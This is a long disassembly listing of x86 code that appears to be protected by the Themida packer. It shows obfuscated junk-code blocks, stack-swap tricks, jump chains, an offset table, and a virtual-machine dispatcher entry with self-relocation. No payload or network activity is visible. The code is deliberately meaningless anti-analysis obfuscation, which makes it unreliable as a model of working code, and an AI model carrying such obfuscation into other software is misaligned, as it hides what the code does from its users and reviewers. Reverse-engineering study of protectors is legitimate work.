		mov	[esp+22h+var_22], ebx
		mov	bh, 75h
		sub	bh, 0B4h
		push	eax
		mov	ah, 6Ch
		add	ah, 0D1h
		and	ah, 80h
		add	ah, 1Eh
		shl	ah, 6
		jmp	loc_5B5A1B
; ---------------------------------------------------------------------------


loc_5BEE19:				; CODE XREF: sub_5A55E5+104F7j
		mov	edi, [esp+30h+var_32+2]
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		mov	dword ptr [edx+38h], 3FA70258h
		add	dword ptr [edx+38h], 0AC15534h
		add	dword ptr [edx+38h], 0CC1EADA5h
		push	eax
		jmp	loc_5A9F94
; ---------------------------------------------------------------------------


loc_5BEE3F:				; CODE XREF: sub_5A55E5+1414Cj
		add	ebx, 11E1720h
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		push	6909h
		mov	[esp+20h+var_22+2], edi
		push	2
		pop	edi
		sub	ebx, edi
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		xchg	ebx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		mov	word ptr [esp+1Ch+var_1C], cx
		jmp	loc_5BE84B
; ---------------------------------------------------------------------------


loc_5BEE73:				; CODE XREF: sub_5A55E5+1241Cj
		push	ecx
		jmp	loc_5BE5EB
; ---------------------------------------------------------------------------


loc_5BEE79:				; CODE XREF: sub_5A55E5+8932j
		or	ebx, 0FE05B7h
		inc	ebx
		sub	ebx, 0BEF44DCEh
		xor	esi, ebx
		pop	ebx
		sub	ebx, esi
		pop	esi
		add	ebx, edi
		add	ebx, 70DD2BC4h
		mov	ecx, [ebx]
		mov	ebx, [esp+8+var_8]
		jmp	loc_5BAB5A
; ---------------------------------------------------------------------------


loc_5BEE9E:				; CODE XREF: sub_5A55E5+5D1Fj
		push	esi
		push	655175DFh
		pop	esi
		sub	esi, 2E0054F0h
		mov	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_5B979D
; ---------------------------------------------------------------------------


loc_5BEEB4:				; CODE XREF: sub_5A55E5+7D0Cj
		pop	edx
		neg	ecx
		neg	ecx
		shl	ecx, 3
		xor	ecx, 0F8C42F27h
		sub	ebx, ecx
		jmp	loc_5B50E9
; ---------------------------------------------------------------------------


loc_5BEEC9:				; CODE XREF: sub_5A55E5+15FE3j
		push	60E8h
		jmp	loc_5B587A
; ---------------------------------------------------------------------------


loc_5BEED3:				; CODE XREF: sub_5A55E5+162CAj
		pop	eax
		add	ecx, esi
		mov	esi, [esp+3Ch+var_3E+2]
		jmp	loc_5BDA51
; ---------------------------------------------------------------------------


loc_5BEEDE:				; CODE XREF: sub_5A55E5+520Ej
		and	eax, 50BD1881h
		jmp	loc_5B3B72
; ---------------------------------------------------------------------------


loc_5BEEE8:				; CODE XREF: sub_5A55E5+12798j
		mov	dl, 7Eh
		or	bl, dl
		pop	dx
		shr	bl, 2
		dec	bl
		and	bl, 22h
		neg	bl
		sub	bl, 0C5h
		sub	ah, bl
		push	[esp+34h+var_36+2]
		pop	ebx
		jmp	loc_5BE6E2
; ---------------------------------------------------------------------------


loc_5BEF06:				; CODE XREF: sub_5A55E5+13DE9j
		push	bx
		mov	bx, 2
		add	word ptr [esp+1Ah+var_18], bx
		pop	bx
		jmp	loc_5B287D
; ---------------------------------------------------------------------------


loc_5BEF18:				; CODE XREF: sub_5A55E5+16D1Fj
		mov	esi, 2
		add	ecx, esi
		mov	esi, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_5B9628
; ---------------------------------------------------------------------------


loc_5BEF2A:				; CODE XREF: sub_5A55E5+566Fj
		shr	ebp, 8
		shr	ebp, 3
		jmp	loc_5ABD27
; ---------------------------------------------------------------------------


loc_5BEF35:				; CODE XREF: sub_5A55E5+5345j
		add	edx, ebx
		pop	ebx
		mov	edi, edx
		jmp	loc_5AA11D
; ---------------------------------------------------------------------------


loc_5BEF3F:				; CODE XREF: sub_5A55E5+CF88j
		mov	[esp+28h+var_2A+2], edx
		push	ebx
		mov	ebx, 4
		mov	edx, ebx
		mov	ebx, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	ebp
		mov	ebp, 11BA1966h
		xor	ebp, 6CA820D3h
		jmp	loc_5AE1D2
; ---------------------------------------------------------------------------


loc_5BEF61:				; CODE XREF: sub_5A55E5+1805Ej
		pop	[esp+20h+var_22+2]
		jmp	loc_5B811F
; ---------------------------------------------------------------------------


loc_5BEF69:				; CODE XREF: sub_5A55E5+18A29j
		and	ecx, eax
		push	[esp+44h+var_46+2]
		push	[esp+48h+var_4A+2]
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_5AD094
; ---------------------------------------------------------------------------


loc_5BEF7F:				; CODE XREF: sub_5A55E5+E6F0j
		push	esp
		push	[esp+0Eh+var_10+2]
		jmp	loc_5BD8DA
; ---------------------------------------------------------------------------


loc_5BEF88:				; CODE XREF: sub_5A55E5+E649j
		add	eax, 4
		jmp	loc_5B657E
; ---------------------------------------------------------------------------


loc_5BEF92:				; CODE XREF: sub_5A55E5+AD9Aj
		push	ecx
		jmp	loc_5B89E2
; ---------------------------------------------------------------------------


loc_5BEF98:				; CODE XREF: sub_5A55E5+132F9j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], ebp
		xor	ebp, [esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], esi
		push	edx
		jmp	loc_5A9ED5
; ---------------------------------------------------------------------------


loc_5BEFBA:				; CODE XREF: sub_5A55E5+151CDj
		neg	ebp
		inc	ebp
		xor	ebp, 94C8AD27h
		add	esi, ebp
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		xor	esi, 20E14DCEh
		jmp	loc_5B17BF
; ---------------------------------------------------------------------------


loc_5BEFD9:				; CODE XREF: sub_5A55E5+11CB1j
		pop	esp
		mov	[esp+1Ah+var_1C+2], edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_5ABF69
; ---------------------------------------------------------------------------


loc_5BEFE9:				; CODE XREF: sub_5A55E5+6F7Ej
		or	ebx, 56337A3Ch
		push	edi
		mov	edi, 43470803h
		sub	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		and	[edi+1Ch], eax
		pop	eax
		jmp	loc_5BED58
; ---------------------------------------------------------------------------


loc_5BF00D:				; CODE XREF: sub_5A55E5+BFF3j
		push	edx
		mov	edx, 6B870330h
		mov	edi, edx
		pop	edx
		dec	edi
		jmp	loc_5B0BF7
; ---------------------------------------------------------------------------


loc_5BF01C:				; CODE XREF: sub_5A55E5+136BAj
		sub	esi, 64FEA28Bh
		sub	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 2D3D6880h
		jmp	loc_5BC8E1
; ---------------------------------------------------------------------------


loc_5BF030:				; CODE XREF: sub_5A55E5+16C43j
		add	edx, ebx
		jmp	loc_5AAAC5
; ---------------------------------------------------------------------------


loc_5BF037:				; CODE XREF: sub_5A55E5+1790Dj
		xor	eax, ebx
		jmp	loc_5B0EEC
; ---------------------------------------------------------------------------


loc_5BF03E:				; CODE XREF: sub_5A55E5+18BAFj
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 267D45C0h
		jmp	loc_5B8C58
; ---------------------------------------------------------------------------


loc_5BF054:				; CODE XREF: sub_5A55E5+18224j
		pop	esp
		mov	[esp+5Ah+var_5C+2], esi
		mov	esi, 4
		add	ecx, 730931BCh
		jmp	loc_5B68EA
; ---------------------------------------------------------------------------


loc_5BF068:				; CODE XREF: sub_5A55E5+12BE2j
		mov	edi, esp
		jmp	loc_5B4D83
; ---------------------------------------------------------------------------


loc_5BF06F:				; CODE XREF: sub_5A55E5+1921Cj
		mov	edx, 36413CDFh
		jmp	loc_5AC572
; ---------------------------------------------------------------------------


loc_5BF079:				; CODE XREF: sub_5A55E5+81D9j
		add	esp, 4
		xor	edx, esi
		pop	esi
		sub	ebx, edx
		push	[esp+26h+var_26]
		pop	edx
		push	edx
		jmp	loc_5B06E4
; ---------------------------------------------------------------------------


loc_5BF08B:				; CODE XREF: sub_5A55E5+AC59j
		mov	edi, [esp+32h+var_32]
		jmp	loc_5BA6F1
; ---------------------------------------------------------------------------


loc_5BF093:				; CODE XREF: sub_5A55E5+B90Cj
		mov	[esp+12h+var_14+2], edx
		push	ebp
		push	38B12221h
		mov	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5AB806
; ---------------------------------------------------------------------------


loc_5BF0A4:				; CODE XREF: sub_5A55E5+1874Aj
		pop	ebx
		mov	esi, ebx
		jmp	loc_5BD6C8
; ---------------------------------------------------------------------------


loc_5BF0AC:				; CODE XREF: sub_5A55E5+17374j
		neg	ebp
		sub	ebp, 80607510h
		and	eax, ebp
		jmp	loc_5B2FC7
; ---------------------------------------------------------------------------


loc_5BF0BB:				; CODE XREF: sub_5A55E5+F739j
		push	[esp+38h+var_3A+2]
		mov	eax, [esp+3Ch+var_3E+2]
		add	esp, 4
		add	esp, 4
		xor	ebx, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], ebx
		jmp	loc_5B16DF
; ---------------------------------------------------------------------------


loc_5BF0D5:				; CODE XREF: sub_5A55E5+1637Dj
		push	[esp+16h+var_14+2]
		pop	ebx
		pop	[esp+16h+var_18+2]
		jmp	loc_5B1AEE
; ---------------------------------------------------------------------------


loc_5BF0E2:				; CODE XREF: sub_5A55E5+52CEj
		mov	cl, al
		pop	eax
		push	50EBh
		mov	[esp+22h+var_22], ebx
		push	eax
		mov	ah, cl
		mov	bl, ah
		pop	eax
		push	7B29h
		jmp	loc_5BE5E3
; ---------------------------------------------------------------------------


loc_5BF0FD:				; CODE XREF: sub_5A55E5+8A72j
		and	edi, esi
		pop	esi
		jmp	loc_5AA1C6
; ---------------------------------------------------------------------------


loc_5BF105:				; CODE XREF: sub_5A55E5+F8C3j
		mov	esi, 6C5044A2h
		or	esi, 47090881h
		jmp	loc_5B36FB
; ---------------------------------------------------------------------------


loc_5BF115:				; CODE XREF: sub_5A55E5+A1F9j
		push	410Bh
		mov	[esp+5Ah+var_5C+2], ebp
		push	esi
		mov	esi, 4
		push	edx
		mov	edx, esi
		mov	ebp, edx
		jmp	loc_5B04B0
; ---------------------------------------------------------------------------


loc_5BF12D:				; CODE XREF: sub_5A55E5+106B4j
		add	edx, ebx
		add	edx, 16612EBh
		add	edx, 12254E7Ch
		pop	ebx
		jmp	loc_5B610A
; ---------------------------------------------------------------------------


loc_5BF141:				; DATA XREF: sub_5A55E5+41F3o
		mov	ax, word ptr [esp+10h+var_10]
		sub	esp, 4
		jmp	loc_5B1C36
; ---------------------------------------------------------------------------


loc_5BF150:				; CODE XREF: sub_5A55E5+C269j
		sub	esi, 9FBA3157h
		add	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 4EC75075h
		jmp	loc_5B3504
; ---------------------------------------------------------------------------


loc_5BF164:				; CODE XREF: sub_5A55E5+18031j
		xor	[esp+0Ch+var_C], edx
		xor	edx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		or	word ptr [esp+0Ch+var_C], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BF177:				; CODE XREF: sub_5A55E5+669Aj
		push	7C7Ch
		jmp	loc_5AD6F3
; ---------------------------------------------------------------------------


loc_5BF181:				; CODE XREF: sub_5A55E5+12F22j
		neg	eax
		not	eax
		push	6790h
		mov	[esp+3Eh+var_3E], edx
		mov	edx, 18AB3F98h
		jmp	loc_5B8312
; ---------------------------------------------------------------------------


loc_5BF197:				; CODE XREF: sub_5A55E5+FE88j
		mov	[esp+28h+var_2A+2], ecx
		push	4
		pop	ecx
		sub	[esp+28h+var_26+2], 25577733h
		jmp	loc_5B884E
; ---------------------------------------------------------------------------


loc_5BF1AD:				; CODE XREF: sub_5A55E5+188D6j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		push	esi
		push	2444h
		mov	[esp+14h+var_14], eax
		push	7B012A3Dh
		push	[esp+18h+var_18]
		pop	eax
		add	esp, 4
		jmp	loc_5BB6C7
; ---------------------------------------------------------------------------


loc_5BF1D7:				; CODE XREF: sub_5A55E5+146B4j
		add	esi, 7FAE6617h
		jmp	loc_5B247B
; ---------------------------------------------------------------------------


loc_5BF1E2:				; CODE XREF: sub_5A55E5+FF44j
		sub	al, 11h
		pop	bx
		push	533Eh
		jmp	loc_5B7851
; ---------------------------------------------------------------------------


loc_5BF1F0:				; CODE XREF: sub_5A55E5+4DB5j
		push	0CF6h
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 3C8237E2h
		push	edi
		mov	edi, 374216ACh
		or	ebp, edi
		pop	edi
		jmp	loc_5B25C8
; ---------------------------------------------------------------------------


loc_5BF20B:				; CODE XREF: sub_5A55E5+6B2Fj
		pop	ecx
		push	edi
		mov	edi, esi
		mov	ebx, edi
		jmp	loc_5B1974
; ---------------------------------------------------------------------------


loc_5BF216:				; CODE XREF: sub_5A55E5+10042j
		push	ecx
		jmp	loc_5B29A8
; ---------------------------------------------------------------------------


loc_5BF21C:				; CODE XREF: sub_5A55E5+D62Ej
		mov	esi, esp
		jmp	loc_5B0C93
; ---------------------------------------------------------------------------


loc_5BF223:				; CODE XREF: sub_5A55E5+F01Fj
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		jmp	loc_5B159A
; ---------------------------------------------------------------------------


loc_5BF231:				; CODE XREF: sub_5A55E5+4D75j
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 9D069Dh
		neg	edx
		push	2EA0h
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 1
		sub	edx, 5DC47AAEh
		add	edx, ebp
		add	edx, 5DC47AAEh
		pop	ebp
		push	edi
		jmp	loc_5ABC38
; ---------------------------------------------------------------------------


loc_5BF25D:				; CODE XREF: sub_5A55E5+8ED3j
		mov	eax, [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebx
		xor	ebx, [esp+18h+var_18]
		pop	esp
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BF284:				; CODE XREF: sub_5A55E5+146E3j
		xor	[esp+36h+var_32], ecx
		jmp	loc_5B35CD
; ---------------------------------------------------------------------------


loc_5BF28D:				; CODE XREF: sub_5A55E5+15736j
		pop	ebx
		sub	esp, 4
		jmp	loc_5AC7C4
; ---------------------------------------------------------------------------


loc_5BF296:				; CODE XREF: sub_5A55E5+15AB6j
		mov	[esp+4Ah+var_4A], edx
		push	[esp+4Ah+var_46]
		jmp	loc_5B6C82
; ---------------------------------------------------------------------------


loc_5BF2A2:				; CODE XREF: sub_5A55E5+79FCj
		neg	ebp
		push	esi
		mov	esi, 97BABE58h
		xor	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_5BD280
; ---------------------------------------------------------------------------


loc_5BF2B3:				; CODE XREF: sub_5A55E5+ECB6j
		sub	esp, 4
		mov	[esp+48h+var_4A+2], ebp
		jmp	loc_5BD15C
; ---------------------------------------------------------------------------


loc_5BF2C1:				; CODE XREF: sub_5A55E5+127A9j
		mov	[esp+36h+var_36], ebx
		push	ecx
		push	ebp
		jmp	loc_5BCF26
; ---------------------------------------------------------------------------


loc_5BF2CB:				; CODE XREF: sub_5A55E5+97BAj
		pop	[esp+40h+var_42+2]
		pop	esp
		jmp	loc_5B1216
; ---------------------------------------------------------------------------


loc_5BF2D4:				; CODE XREF: sub_5A55E5+46A0j
		pop	edx
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		add	eax, edi
		pop	edi
		add	eax, 4
		xor	eax, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], eax
		xor	eax, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BF2F8:				; CODE XREF: sub_5A55E5+115DDj
		xchg	ebx, [esp+2Ch+var_2E+2]
		jmp	loc_5BDA9A
; ---------------------------------------------------------------------------


loc_5BF300:				; CODE XREF: sub_5A55E5+1084Ej
		push	6C18h
		mov	[esp+2Ch+var_2E+2], esp
		add	[esp+2Ch+var_2E+2], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		push	3A60h
		mov	[esp+2Ch+var_2E+2], esi
		push	[esp+2Ch+var_2A+2]
		jmp	loc_5B03FC
; ---------------------------------------------------------------------------


loc_5BF32A:				; CODE XREF: sub_5A55E5+9D80j
		add	ebp, 5965782h
		mov	ecx, [esp+40h+var_42+2]
		add	esp, 4
		push	5C1Dh
		mov	[esp+40h+var_42+2], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp+40h+var_42+2], ebp
		push	[esp+40h+var_3E+2]
		pop	ebp
		pop	[esp+40h+var_42+2]
		pop	esp
		jmp	loc_5BB152
; ---------------------------------------------------------------------------


loc_5BF35D:				; CODE XREF: sub_5A55E5+D54Ej
		add	al, 76h
		add	al, 27h
		mov	ecx, [esp+5Ah+var_5C+2]
		push	esi
		jmp	loc_5B73D7
; ---------------------------------------------------------------------------


loc_5BF36A:				; CODE XREF: sub_5A55E5+17C3Aj
		push	eax
		mov	al, 0F9h
		shr	al, 7
		dec	al
		shl	al, 7
		dec	al
		add	al, 33h
		jmp	loc_5A9BFF
; ---------------------------------------------------------------------------


loc_5BF37E:				; CODE XREF: sub_5A55E5+C240j
		pop	ebp
		jmp	loc_5B2955
; ---------------------------------------------------------------------------


loc_5BF384:				; CODE XREF: sub_5A55E5+194A5j
		neg	ebp
		add	ebp, 64F907B3h
		add	ebp, 4CB43986h
		xor	ebp, 42A0B4F1h
		mov	edx, ebp
		pop	ebp
		or	ebx, edx
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		push	429Bh
		mov	[esp+26h+var_26], ecx
		push	ebx
		jmp	loc_5AF6BE
; ---------------------------------------------------------------------------


loc_5BF3B4:				; CODE XREF: sub_5A55E5+11440j
		add	esp, 4


loc_5BF3B7:				; CODE XREF: sub_5A55E5+8FD0j
		push	2499h
		jmp	loc_5B8EE1
; ---------------------------------------------------------------------------


loc_5BF3C1:				; CODE XREF: sub_5A55E5+F865j
		mov	[esp+42h+var_42], ebp
		mov	ebp, 39EC02C7h
		dec	ebp
		shl	ebp, 7
		jmp	loc_5AE618
; ---------------------------------------------------------------------------


loc_5BF3D2:				; CODE XREF: sub_5A55E5+186F6j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+28h+var_2A+2]
		pop	esp
		neg	edi
		jmp	loc_5A9D76
; ---------------------------------------------------------------------------


loc_5BF3E9:				; CODE XREF: sub_5A55E5+12C44j
		add	ecx, eax
		pop	eax
		jmp	loc_5AB999
; ---------------------------------------------------------------------------


loc_5BF3F1:				; CODE XREF: sub_5A55E5+D77Fj
		xor	[esp+2Ch+var_2E+2], esi
		jmp	loc_5BDB2B
; ---------------------------------------------------------------------------


loc_5BF3F9:				; CODE XREF: sub_5A55E5+175AEj
		pop	ecx
		pop	eax
		push	ebx
		mov	ebx, 7AB74A02h
		shl	ebx, 8
		neg	ebx
		add	ebx, 3FBC66B9h
		push	edx
		push	ebp
		jmp	loc_5BEA83
; ---------------------------------------------------------------------------


loc_5BF413:				; CODE XREF: sub_5A55E5+6CC7j
		add	edx, ebx
		mov	ebx, [esp+0Ch+var_C]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		jmp	loc_5B6628
; ---------------------------------------------------------------------------


loc_5BF42C:				; CODE XREF: sub_5A55E5+15821j
		mov	ecx, 57D2ACC5h
		jmp	loc_5B665C
; ---------------------------------------------------------------------------


loc_5BF436:				; CODE XREF: sub_5A55E5+D07Fj
		push	[esp+38h+var_3A+2]
		mov	ebx, [esp+3Ch+var_3E+2]
		jmp	loc_5B04B7
; ---------------------------------------------------------------------------


loc_5BF441:				; CODE XREF: sub_5A55E5+13C31j
		shl	[esp+56h+var_58+2], cl
		pushf
		jmp	loc_5AB010
; ---------------------------------------------------------------------------


loc_5BF44A:				; CODE XREF: sub_5A55E5+17E13j
		pop	ebp
		jmp	loc_5B4E9A
; ---------------------------------------------------------------------------


loc_5BF450:				; CODE XREF: sub_5A55E5+176C5j
		push	7282h
		jmp	loc_5ADC8F
; ---------------------------------------------------------------------------


loc_5BF45A:				; CODE XREF: sub_5A55E5+7990j
		push	[esp+34h+var_36+2]
		pop	edx
		jmp	loc_5A9F82
; ---------------------------------------------------------------------------


loc_5BF463:				; CODE XREF: sub_5A55E5+A80Aj
		xor	[esp+14h+var_14], edi
		xor	edi, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		pop	small word ptr [esp+14h+var_14]
		jmp	loc_5BA70C
; ---------------------------------------------------------------------------


loc_5BF475:				; CODE XREF: sub_5A55E5+A1A3j
		add	esp, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		mov	edi, [esp+4Eh+var_50+2]
		add	esp, 4
		xor	esi, [esp+4Ah+var_4A]
		xor	[esp+4Ah+var_4A], esi
		xor	esi, [esp+4Ah+var_4A]
		pop	esp
		push	1DAEh
		mov	[esp+4Ah+var_4A], ebx
		push	295Dh
		mov	[esp+4Eh+var_50+2], eax
		push	[esp+4Eh+var_50+2]
		jmp	loc_5B9407
; ---------------------------------------------------------------------------


loc_5BF4AB:				; CODE XREF: sub_5A55E5+A119j
		push	dx
		mov	dl, 0CFh
		mov	ah, dl
		pop	dx
		push	ecx
		push	edx
		jmp	loc_5BE026
; ---------------------------------------------------------------------------


loc_5BF4BA:				; CODE XREF: sub_5A55E5+7FF6j
		add	ebp, ecx
		sub	ebp, 6F4F7BD9h
		pop	ecx
		jmp	loc_5B38B8
; ---------------------------------------------------------------------------


loc_5BF4C8:				; CODE XREF: sub_5A55E5+9318j
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_5AD85E
; ---------------------------------------------------------------------------


loc_5BF4D3:				; CODE XREF: sub_5A55E5+12579j
		neg	edx
		add	edx, 14AFDFDEh
		sub	ecx, edx
		jmp	loc_5ACA05
; ---------------------------------------------------------------------------


loc_5BF4E2:				; CODE XREF: sub_5A55E5+1059Bj
		pop	eax
		inc	edx
		shr	edx, 1
		not	edx
		jmp	loc_5B78FD
; ---------------------------------------------------------------------------


loc_5BF4ED:				; CODE XREF: sub_5A55E5+B325j
		add	esi, 3B990067h
		not	esi
		jmp	loc_5B184D
; ---------------------------------------------------------------------------


loc_5BF4FA:				; CODE XREF: sub_5A55E5+9763j
		xor	esi, [esp+38h+var_3A+2]
		xor	[esp+38h+var_3A+2], esi
		xor	esi, [esp+38h+var_3A+2]
		mov	esp, [esp+38h+var_3A+2]
		div	cl
		jmp	loc_5ABE6E
; ---------------------------------------------------------------------------


loc_5BF50D:				; CODE XREF: sub_5A55E5+5B94j
		push	dword ptr [edi+eax*4]
		jmp	loc_5B2E59
; ---------------------------------------------------------------------------
		dd offset byte_62BF09
		align 4
		dd 601B0400h, 62D787F8h, 12FF4C00h, 0
		dd 90EB9400h, 2077Ch, 200h, 100h, 400h,	601B0400h, 0F8h
		dd 4 dup(0)
		dd 5C06F300h, 5CE6F400h, 5CB0CA00h, 5C984100h, 5C5B4700h
		dd 5C996900h, 5C7F5100h, 5CA94F00h, 5CB06800h, 5CCB8800h
		dd 5C800C00h, 5C0ED400h, 5D22A800h, 5C9B2800h, 5CBC6700h
		dd 5D21A900h, 5C3DE900h, 5C3A1000h, 5CD76800h, 5CB19F00h
		dd 5D38FE00h, 5CEF3F00h, 5C6EF000h, 5CE21100h, 5C2BB400h
		dd 5D3B9800h, 5CCC6500h, 5CA89000h, 5C496600h, 5C402000h
		dd 5C2E4100h, 5C025A00h, 5C387A00h, 5BFA7D00h, 5CE1E400h
		dd 5D0FA200h, 5C205900h, 5C051900h, 5C237300h, 5CF33100h
		dd 5C597500h, 5D252900h, 5D25AA00h, 5CD91F00h, 5C10AA00h
		dd 5C476000h, 5C39AE00h, 5C5B9500h, 5CFB3200h, 5BFA6C00h
		dd 5D086F00h, 5CBDFC00h, 5C8B7400h, 5C257100h, 5C907900h
		dd 5D349A00h, 5D19E000h, 5CDE6500h, 5CD68500h, 5C722D00h
		dd 5CF5A800h, 5CE2D600h, 5D1ACD00h, 5C9A0900h, 5C033200h
		dd 5CCD7500h, 5C164900h, 5CF4F500h, 5CE27D00h, 5C5A1200h
		dd 5D113000h, 5CEFC900h, 5D206D00h, 5C908300h, 5C10B800h
		dd 5CA55D00h, 5D33BB00h, 5C51D100h, 5C23E100h, 5D0AE500h
		dd 5D034900h, 5CC91C00h, 5CD24100h, 5C94E400h, 5D379000h
		dd 5C50C800h, 5CECBE00h, 5C256100h, 5BFACE00h, 5CCBB500h
		dd 5CF48900h, 5C508400h, 5D21D900h, 5C4A5E00h, 5CA36300h
		dd 5C214D00h, 5CF49300h, 5BFF6D00h, 5C393800h, 5C226200h
		dd 5D302900h, 5C7D3200h, 5C3B3B00h, 5CCE5200h, 5D28C000h
		dd 5C073C00h, 5CF89700h, 5CF7B600h, 5CFD5B00h, 5D3CA500h
		dd 5D2CCD00h, 5C60D900h, 5C832200h, 5CD78900h, 5C927800h
		dd 5C0A4300h, 5BFC9400h, 5C24C000h, 5C21F300h, 5C0CC300h
		dd 5C943A00h, 5D275800h, 5CD06200h, 5C601B00h, 5D171600h
		dd 5C43FD00h, 5C037300h, 5D1DB100h, 5C49E500h, 5CD65E00h
		dd 5D1E5300h, 5C182400h, 5D35C900h, 5CE5D000h, 5D007000h
		dd 5CDCA700h, 5D39E200h, 5D2D1800h, 5CAB6B00h, 5C935F00h
		dd 5C372700h, 5C059A00h, 5CE97A00h, 5BF9B100h, 5C079E00h
		dd 5C9C9D00h, 5C90B400h, 5CB4A400h, 5CF49F00h, 5D334400h
		dd 5D295900h, 5C70E800h, 5C186C00h, 5D1FEB00h, 5D15BE00h
		dd 5C37F000h, 5CCAAC00h, 5C8A7200h, 5BFB4400h, 5C432C00h
		dd 5C333E00h, 5CA71A00h, 5C385500h, 5CA16B00h, 5CDC4B00h
		dd 5D19FF00h, 5C448900h
		db 0
; ---------------------------------------------------------------------------


loc_5BF7F5:				; CODE XREF: Themida_:0060DFAAj
					; Themida_:0060DFB4j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7FBDCF9h
		mov	eax, edi
		add	edi, 7FBDA11h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5BF813
		jmp	short loc_5BF826
; ---------------------------------------------------------------------------


loc_5BF813:				; CODE XREF: sub_5A55E5+1A22Aj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5BF822
; ---------------------------------------------------------------------------


loc_5BF81D:				; CODE XREF: sub_5A55E5+1A23Fj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5BF822:				; CODE XREF: sub_5A55E5+1A236j
		or	ecx, ecx
		jnz	short loc_5BF81D


loc_5BF826:				; CODE XREF: sub_5A55E5+1A22Cj
		mov	esi, [esp+48h+var_26+2]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5BF833:				; CODE XREF: sub_5A55E5+1A255j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5BF833


loc_5BF83C:				; CODE XREF: sub_5A55E5+1A445j
					; sub_5A55E5+1A4F3j ...
		lodsb
		sub	esp, 4
		mov	[esp+0], ecx
		push	ebx
		mov	bl, 20h
		mov	ch, bl
		pop	ebx
		jmp	loc_5D0BD8
; ---------------------------------------------------------------------------


loc_5BF84E:				; CODE XREF: sub_5A55E5+1DED3j
		push	ecx
		mov	ecx, 53572CC6h
		or	edi, ecx
		pop	ecx
		sub	edi, 6633144Bh
		or	ecx, edi
		jmp	loc_5C2E70
; ---------------------------------------------------------------------------


loc_5BF864:				; CODE XREF: sub_5A55E5+1ACA0j
		mov	eax, 45870206h
		push	ebx
		mov	ebx, 71FA348Ah
		xor	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 347D3688h
		sub	eax, ecx
		pop	ecx
		sub	ebx, 4770693Bh
		add	ebx, eax
		sub	esp, 4
		mov	[esp+50h+var_50], ebp
		mov	ebp, 4770693Bh
		add	ebx, ebp
		pop	ebp
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_5BFA39
; ---------------------------------------------------------------------------


loc_5BF89D:				; CODE XREF: sub_5A55E5+255DDj
		dec	ebx
		inc	ebx
		add	ebx, 48498004h
		jmp	loc_5D32D6
; ---------------------------------------------------------------------------


loc_5BF8AA:				; CODE XREF: sub_5A55E5+2A2ADj
		mov	edx, [esp+0]
		push	7CE3h
		mov	[esp+50h+var_50], ebp
		push	70CCh
		mov	[esp+54h+var_54], esp
		push	ebx
		mov	ebx, 4
		add	[esp+58h+var_54], ebx
		pop	ebx
		push	[esp+54h+var_54]
		pop	ebp
		jmp	loc_5CB9A9
; ---------------------------------------------------------------------------


loc_5BF8D1:				; CODE XREF: sub_5A55E5+1D3A5j
		xchg	edx, [esp+54h+var_54]
		mov	esp, [esp+54h+var_54]
		mov	[esp+54h+var_54], ebx
		push	edi
		push	esi
		push	0D90797Eh
		pop	esi
		jmp	loc_5C14B8
; ---------------------------------------------------------------------------


loc_5BF8E7:				; CODE XREF: sub_5A55E5+2921Fj
		sub	edi, 6C946D07h
		mov	ebp, [esp+5Ch+var_5C]
		jmp	loc_5C517D
